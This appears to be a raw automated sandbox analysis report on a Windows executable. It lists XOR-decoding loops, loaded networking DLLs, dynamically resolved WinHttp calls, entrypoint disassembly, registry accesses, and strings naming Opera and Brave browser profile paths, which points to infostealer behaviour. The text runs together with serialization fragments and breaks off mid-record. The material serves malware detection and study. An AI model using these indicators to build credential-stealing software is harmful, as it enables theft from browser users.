Found XOR loop in file "sample.bin" at offset 5789537; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5797797; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5806057; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5814317; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5822577; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5830837; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5839097; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5847357; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5855617; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5863877; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5872137; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5880397; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5888657; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5896917; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5905177; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5913437; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5922167; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5937231; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5941099; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5943555; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6303542; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 94915; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 181083; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 461001; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 690020; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1148772; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1416782; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1938360; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2725378; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2985548; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3444300; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3911864; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3968954; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3972415; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3973696; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4000293; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4060143; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4095840; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4099164; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4241121; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4300406; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4308895; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4309123; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5035700; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5043960; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5052220; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5061660; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5073100; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5074220; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5082480; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5090740; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5099000; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5107260; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5115520; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5123780; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5132040; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5140300; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5148560; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5156820; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5165080; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5173340; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5181600; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5189860; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5198120; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5206380; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5214640; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5222900; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5231160; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5239420; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5248860; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5257120; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5265380; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5273640; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5281900; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5290160; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5298420; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5306680; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5314940; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5323200; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5331460; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5339720; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5347980; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5356240; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5364500; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5372760; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5381020; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5389280; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5397540; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5405800; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5415240; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5423500; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5431760; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5440020; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5448280; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5456540; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5464800; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5473060; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5481320; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5489580; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5497840; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5506100; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5514360; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5522620; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5530880; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5539140; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5547400; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5555660; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5563920; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5572180; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5580440; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5589880; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5598140; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5606400; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5614660; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5622920; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5631180; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5639440; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5647700; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5655960; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5664220; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5672480; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5680740; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5689000; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5697260; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5705520; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5713780; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5722040; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5730300; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5738560; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5746820; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5756260; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5764520; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5772780; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5781040; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5789300; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5797560; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5805820; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5810497; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5814080; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5822340; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5830600; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5838860; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5847120; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5855380; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5863640; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5871900; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5880160; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5888420; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5896680; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5904940; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5913200; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5943632; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5945494; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5948686; code bytes = 80302c:T55e,"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005700)2d:T4d3,Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; File: "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; File: "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; File: "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; File: "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00003468.00000000.81496.000D1000.00000020.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00003468.00000000.81496.000D1000.00000020.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00003468.00000000.81496.000D1000.00000020.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00003468.00000000.81496.000D1000.00000020.mdmp") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp")2e:T5b7,"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "LoadLibrary" with a parameter wshtcpip (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "LoadLibrary" with a parameter wship6.dll (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00005700)2f:T1f0c,"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter GetLocalTime (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter CreateFileMappingW (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter MapViewOfFile (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter IsBadReadPtr (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter free (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter sprintf_s (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter swprintf_s (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter WinHttpOpen (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter StrRChrA (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter GetProductInfo (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter InitSecurityInterfaceW (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter InitSecurityInterfaceA (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter RpcStringBindingComposeW (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter RpcBindingFromStringBindingW (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter RpcBindingSetAuthInfoExW (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter RpcBindingSetOption (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter RpcStringFreeW (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter WinHttpConnect (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter WSAStringToAddressW (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter WSHAddressToString (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter WSHEnumProtocols (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter WSHGetProviderGuid (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter WSHGetSockaddrType (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter WSHGetSocketInformation (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter WSHGetWSAProtocolInfo (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter WSHGetWildcardSockaddr (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter WSHGetWinsockMapping (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter WSHIoctl (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter WSHJoinLeaf (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter WSHNotify (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter WSHOpenSocket (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter WSHOpenSocket2 (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter WSHSetSocketInformation (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter WSHStringToAddress (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter WinHttpOpenRequest (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter UrlCanonicalizeW (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter StrCmpNW (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter WinHttpSetOption (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter WinHttpAddRequestHeaders (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter WinHttpSendRequest (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter DnsGetProxyInformation (UID: 00000000-00005700) "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00005700)30:T54b,"Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00003468.00000000.81496.000D1000.00000020.mdmp "Opera Software\Opera GX Stable" in Source: 00000000-00005700.00000001.79190.00886000.00000002.mdmp "Opera Software\Opera Developer" in Source: 00000000-00005700.00000001.79190.00886000.00000002.mdmp "Opera Software\Opera Stable" in Source: 00000000-00005700.00000001.79190.00886000.00000002.mdmp "BraveSoftware\" in Source: 00000000-00005700.00000001.79190.00886000.00000002.mdmp "Opera Software\Opera Next" in Source: 00000000-00005700.00000001.79190.00886000.00000002.mdmp "Opera Software\Opera Crypto Stable" in Source: 00000000-00005700.00000001.79190.00886000.00000002.mdmp "HARDWARE\DESCRIPTION\System\CentralProcessor\0" in Source: 00000000-00005700.00000001.79190.00886000.00000002.mdmp "SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00005700.00000001.79190.00886000.00000002.mdmp "SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000" in Source: 00000000-00005700.00000001.79190.00886000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00005700.00000001.79190.00886000.00000002.mdmp "\Opera Software\" in Source: 00000000-00005700.00000001.79190.00886000.00000002.mdmp31:T87c,"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" loaded module "WINHTTP.DLL" at base 71d40000 "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" loaded module "SHLWAPI.DLL" at base 75da0000 "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" loaded module "KERNEL32.DLL" at base 77cc0000 "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" loaded module "ADVAPI32.DLL" at base 76a80000 "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" loaded module "WS2_32.DLL" at base 76d20000 "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" loaded module "SSPICLI.DLL" at base 758e0000 "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" loaded module "CRYPTSP.DLL" at base 75460000 "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" loaded module "RPCRT4.DLL" at base 75fa0000 "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" loaded module "CREDSSP.DLL" at base 750f0000 "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 75420000 "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" loaded module "WSHTCPIP" at base 74f80000 "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" loaded module "WSHIP6.DLL" at base 75410000 "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" loaded module "%WINDIR%\SYSTEM32\WSHQOS.DLL" at base 6f7f0000 "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" loaded module "DNSAPI.DLL" at base 752e0000 "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 74f80000 "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 75410000 "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" loaded module "IPHLPAPI.DLL" at base 72740000 "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" loaded module "RASADHLP.DLL" at base 6d21000032:T4e6,"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610" file has an entrypoint instructions - "mov dword ptr [0xf3874c], 1,jmp 0x401170,nop ,mov dword ptr [0xf3874c], 0,jmp 0x401170,nop ,sub esp, 0x1c,mov eax, dword ptr [esp + 0x20],mov dword ptr [esp], eax,call 0x882ac8,test eax, eax,sete al,add esp, 0x1c,movzx eax, al,neg eax,ret ,nop ,nop ,nop ,push ebp,mov ebp, esp,push edi,push esi,push ebx,sub esp, 0x1c,mov dword ptr [esp], 0x886000,call dword ptr [0xf3b1f0],sub esp, 4,test eax, eax,je 0x401580,mov ebx, eax," "DISMHOST.EXE.6A9E4442.bin" file has an entrypoint instructions - "call 0x100a7e6,jmp 0x10097f4,int3 ,int3 ,int3 ,int3 ,int3 ,push 0x14,push 0x1010878,call 0x1009d10,and dword ptr [ebp - 4], 0,dec dword ptr [ebp + 0x10],js 0x1009afc,mov ecx, dword ptr [ebp + 8],sub ecx, dword ptr [ebp + 0xc],mov dword ptr [ebp + 8], ecx,call dword ptr [ebp + 0x14],jmp 0x1009abc,mov eax, dword ptr [ebp - 0x14],mov dword ptr [ebp - 0x1c], eax,mov eax, dword ptr [ebp - 0x1c],mov eax, dword ptr [eax],mov dword ptr [ebp - 0x20], eax,mov eax, dword ptr [ebp - 0x20],cmp dword ptr [eax], 0xe06d7363,je 0x1009af3,mov dword ptr [ebp - 0x24], 0,mov eax, dword ptr [ebp - 0x24],ret ,call dword ptr [0x1001210],mov esp, dword ptr [ebp - 0x18],"33:T97c,"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\NETBT\LINKAGE"; Key: ""; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610.exe" (Access type: 